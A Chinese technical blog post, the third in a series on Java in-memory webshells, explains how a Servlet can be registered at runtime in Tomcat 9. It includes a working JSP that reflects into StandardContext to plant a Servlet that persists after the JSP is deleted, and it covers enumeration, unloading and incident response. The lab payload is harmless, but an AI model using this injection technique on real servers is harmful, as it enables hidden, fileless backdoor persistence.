Java 内存马(三):Servlet 内存马

Servlet 内存马的核心不是“创建一个 Servlet 对象”,而是让 Tomcat 同时接受三个运行时状态:

1
2
3
Servlet 实例
+ StandardWrapper 子容器
+ URL Pattern 到 Wrapper Name 的映射

缺少 Wrapper,Servlet 没有容器生命周期;缺少 URL 映射,请求无法到达;只修改映射表但没有同步 Mapper,请求分发仍可能失败。

本文以 Tomcat 9 和 javax.servlet.* 为实验基线,代码只返回固定标记,不执行系统命令。Tomcat 10 及以上使用 jakarta.servlet.*,Tomcat 内部类仍需按实际版本核对。

仅在本地或授权靶场验证。运行时修改容器对象会直接影响当前应用。

一、Tomcat 如何保存并调用 Servlet

声明式 Servlet 通常来自 web.xml 或 @WebServlet,但进入运行期后,Tomcat 最终关心的仍是容器对象和映射关系。

1
2
3
4
5
StandardContext                 一个 Web 应用
└─ StandardWrapper 一个 Servlet 定义及其生命周期
└─ Servlet instance 实际处理请求的对象

/hello → servletName → StandardWrapper

StandardContext 是 Web 应用对应的 Context 容器;StandardWrapper 是 Servlet 的容器包装;Mapper 根据请求路径定位 Wrapper。请求命中后,执行过程大致为:

1
2
3
4
5
6
7
Mapper 匹配 URL
→ 定位 StandardWrapper
→ StandardWrapperValve
→ 创建 ApplicationFilterChain
→ Filter 依次执行
→ Servlet.service()
→ doGet() / doPost()

正常启动时,ContextConfig 解析部署描述和注解,创建 Wrapper,再调用 Context 的映射接口。运行时注册则跳过配置解析,直接构造同样的最终状态:

1
2
3
4
5
6
7
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);

standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(urlPattern, servletName);

这里必须调用容器提供的 addChild() 和 addServletMappingDecoded()。后者不只是向一个 Map 写入数据,还会触发 Tomcat 的映射更新流程,使运行中的 Mapper 能识别新路径。直接反射修改某个私有 Map,可能只形成“看得见但请求不到”的半注册状态。

二、受控靶场完成运行时注册

下面的 JSP 适用于 Tomcat 9。它取得当前 Web 应用的 StandardContext,注册 /__servlet_lab,访问该路径只会返回 SERVLET_LAB_OK。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.Servlet" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/plain;charset=UTF-8" %>

<%!
private Object readField(Object target, String name) throws Exception {
Class<?> type = target.getClass();
while (type != null) {
try {
Field field = type.getDeclaredField(name);
field.setAccessible(true);
return field.get(target);
} catch (NoSuchFieldException ignored) {
type = type.getSuperclass();
}
}
throw new NoSuchFieldException(name);
}
%>

<%
String servletName = "servletLab";
String urlPattern = "/__servlet_lab";

ServletContext facade = request.getServletContext();
ApplicationContext applicationContext =
(ApplicationContext) readField(facade, "context");
StandardContext standardContext =
(StandardContext) readField(applicationContext, "context");

if (standardContext.findChild(servletName) != null
|| standardContext.findServletMapping(urlPattern) != null) {
response.getWriter().println("ALREADY_EXISTS");
return;
}

Servlet servlet = new HttpServlet() {
@Override
protected void service(
HttpServletRequest req,
HttpServletResponse resp) throws IOException {
resp.setContentType("text/plain;charset=UTF-8");
resp.setHeader("X-Servlet-Lab", "reached");
resp.getWriter().println("SERVLET_LAB_OK");
}
};

Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
wrapper.setLoadOnStartup(1);

boolean childAdded = false;
try {
standardContext.addChild(wrapper);
childAdded = true;
standardContext.addServletMappingDecoded(urlPattern, servletName);
response.getWriter().println("REGISTERED " + urlPattern);
} catch (Exception e) {
if (standardContext.findServletMapping(urlPattern) != null) {
standardContext.removeServletMapping(urlPattern);
}
if (childAdded && standardContext.findChild(servletName) != null) {
standardContext.removeChild(wrapper);
}
throw e;
}
%>

访问 JSP 后,再验证新路径:

1
curl -i http://127.0.0.1:8080/app/__servlet_lab

预期响应:

1
2
3
4
HTTP/1.1 200
X-Servlet-Lab: reached

SERVLET_LAB_OK

这证明的不是 JSP 本身可以响应,而是新请求已经通过 Tomcat Mapper 到达运行时创建的 Servlet。此时删除实验 JSP,新路径仍然有效,因为 Wrapper、映射和 Servlet 实例已经由 StandardContext 持有。

三、注册失败时应该检查什么

运行时注册最常见的问题不是 Servlet 代码,而是容器状态没有闭合。

现象 重点检查
新路径返回 404 URL Mapping 是否存在,Mapper 是否已同步
找到映射但请求失败 映射指向的 Wrapper Name 是否真实存在
首次请求 500 Servlet 类、实例、初始化和依赖是否完整
重复注册报错 Wrapper Name 或 URL Pattern 是否冲突
重载应用后消失 属于纯运行时状态,没有持久化复活点
Tomcat 10 编译失败 javax.servlet.* 是否应改为 jakarta.servlet.*

三个版本维度要分开判断:

1
2
3
Servlet API 版本  → javax 与 jakarta 包名
Tomcat 版本 → 内部字段、方法和 Mapper 行为
JDK 版本 → 反射访问、模块限制和诊断能力

javax 与 jakarta 的变化不是 JDK 版本变化。即使使用同一个 JDK,Tomcat 9 与 Tomcat 10 的 Servlet API 也不同;即使 Servlet 接口相同,不同 Tomcat 小版本的内部实现也可能发生变化。

还要区分“驻留”与“复活”:

1
2
3
4
5
当前 Context 持有 Wrapper
→ 当前进程内持续可达

JSP、恶意 JAR、启动脚本、漏洞入口或 Agent 仍存在
→ 重启或清除后可能再次注册

纯 Servlet 运行时对象通常会在应用 reload、节点重启或 JVM 结束后消失,但最初的植入入口如果没有修复,它仍可重新出现。

四、枚举、卸载与结果验证

先枚举 Wrapper 和 URL 映射,不要根据名称直接判定恶意:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
for (org.apache.catalina.Container child : standardContext.findChildren()) {
org.apache.catalina.Wrapper wrapper =
(org.apache.catalina.Wrapper) child;

Class<?> servletClass = null;
try {
Servlet instance = wrapper.getServlet();
if (instance != null) {
servletClass = instance.getClass();
}
} catch (Exception ignored) {
// 某些 Wrapper 尚未创建 Servlet 实例
}

System.out.println("name=" + wrapper.getName()
+ ", declaredClass=" + wrapper.getServletClass()
+ ", runtimeClass=" + servletClass);
}

for (String pattern : standardContext.findServletMappings()) {
System.out.println("mapping=" + pattern
+ " -> " + standardContext.findServletMapping(pattern));
}

发现异常项后至少保存以下信息:

  • Wrapper Name、Servlet Class 和全部 URL Pattern;
  • 实际实例的类名、ClassLoader、ProtectionDomain 与 CodeSource;
  • 该定义是否存在于 web.xml、注解扫描结果和可信发布制品;
  • 首次异常请求、应用日志、访问日志和进程启动时间;
  • 获取初始代码执行的漏洞、临时文件或管理操作痕迹。

授权靶场可按“先解除请求入口,再移除组件”的顺序卸载:

1
2
3
4
5
6
7
8
9
10
11
12
13
String servletName = "servletLab";

for (String pattern : standardContext.findServletMappings()) {
if (servletName.equals(standardContext.findServletMapping(pattern))) {
standardContext.removeServletMapping(pattern);
}
}

org.apache.catalina.Container child =
standardContext.findChild(servletName);
if (child != null) {
standardContext.removeChild(child);
}

卸载后重新访问原路径,应返回 404;再次枚举时,Wrapper 和全部映射都应消失。还要确认应用正常 Servlet 未受影响,并检查 reload 或重启后异常对象是否再次出现。

生产环境不应把在线删除当作最终恢复。并发请求可能仍持有旧实例,植入入口也可能尚未清除。更可靠的处置方式是先保存证据和隔离节点,再修复入口、替换可信制品并重建实例,最后重新核对请求链。

上一篇
下一篇